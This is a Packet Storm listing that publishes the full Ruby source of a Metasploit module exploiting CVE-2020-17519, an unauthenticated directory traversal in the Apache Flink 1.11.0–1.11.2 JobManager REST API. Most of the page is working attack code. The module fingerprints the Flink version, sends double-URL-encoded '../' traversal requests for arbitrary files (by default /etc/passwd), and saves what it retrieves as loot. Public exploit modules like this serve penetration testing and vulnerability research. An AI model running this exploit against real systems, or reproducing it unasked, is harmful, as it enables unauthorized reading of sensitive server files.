exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Apache Flink JobManager Traversal

Apache Flink JobManager Traversal
Posted Sep 1, 2024
Authored by Brendan Coles, Hoa Nguyen, 0rich1 | Site metasploit.com

This Metasploit module exploits an unauthenticated directory traversal vulnerability in Apache Flink versions 1.11.0 less than or equal to 1.11.2. The JobManager REST API fails to validate user-supplied log file paths, allowing retrieval of arbitrary files with the privileges of the web server user. This Metasploit module has been tested successfully on Apache Flink version 1.11.2 on Ubuntu 18.04.4.

tags | exploit, web, arbitrary
systems | linux, ubuntu
advisories | CVE-2020-17519
SHA-256 | 776647522193812481f55a112c7a98a591a11cb7829c40e7841d4b5813acf9fa

Apache Flink JobManager Traversal

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Flink JobManager Traversal',
'Description' => %q{
This module exploits an unauthenticated directory traversal vulnerability
in Apache Flink versions 1.11.0 <= 1.11.2. The JobManager REST API fails
to validate user-supplied log file paths, allowing retrieval of arbitrary
files with the privileges of the web server user.

This module has been tested successfully on Apache Flink version 1.11.2
on Ubuntu 18.04.4.
},
'Author' => [
'0rich1 - Ant Security FG Lab', # Vulnerability discovery
'Hoa Nguyen - Suncsr Team', # Metasploit module
'bcoles', # Metasploit module cleanup and improvements
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2020-17519'],
['CWE', '22'],
['EDB', '49398'],
['PACKETSTORM', '160849'],
['URL', 'https://www.openwall.com/lists/oss-security/2021/01/05/2'],
['URL', 'https://www.tenable.com/cve/CVE-2020-17519']
],
'DefaultOptions' => { 'RPORT' => 8081 },
'DisclosureDate' => '2021-01-05',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options([
OptInt.new('DEPTH', [ true, 'Depth for path traversal', 10]),
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd'])
])
end

def check_host(_ip)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'config')
})

unless res
return Exploit::CheckCode::Unknown('No reply.')
end

unless res.body.include?('flink')
return Exploit::CheckCode::Safe('Target is not Apache Flink.')
end

version = res.get_json_document['flink-version']

if version.blank?
return Exploit::CheckCode::Detected('Could not determine Apache Flink software version.')
end

if Rex::Version.new(version).between?(Rex::Version.new('1.11.0'), Rex::Version.new('1.11.2'))
return Exploit::CheckCode::Appears("Apache Flink version #{version} appears vulnerable.")
end

Exploit::CheckCode::Safe("Apache Flink version #{version} is not vulnerable.")
end

def retrieve_file(depth, filepath)
traversal = Rex::Text.uri_encode(Rex::Text.uri_encode("#{'../' * depth}#{filepath}", 'hex-all'))
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'jobmanager', 'logs', traversal)
})

unless res
print_error('No reply')
return
end

if res.code == 404
print_error('File not found')
return
end

if res.code == 500
print_error("Unexpected reply (HTTP #{res.code}): Server encountered an error attempting to read file")
msg = res.body.scan(/Caused by: (.+?)\\n/).flatten.last
print_error(msg) if msg
return
end

if res.code != 200
print_error("Unexpected reply (HTTP #{res.code})")
return
end

res.body.to_s
end

def run_host(ip)
depth = datastore['DEPTH']
filepath = datastore['FILEPATH']

print_status("Downloading #{filepath} ...")
res = retrieve_file(depth, filepath)

return if res.blank?

print_good("Downloaded #{filepath} (#{res.length} bytes)")
path = store_loot(
'apache.flink.jobmanager.traversal',
'text/plain',
ip,
res,
File.basename(filepath)
)
print_good("File #{filepath} saved in: #{path}")
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close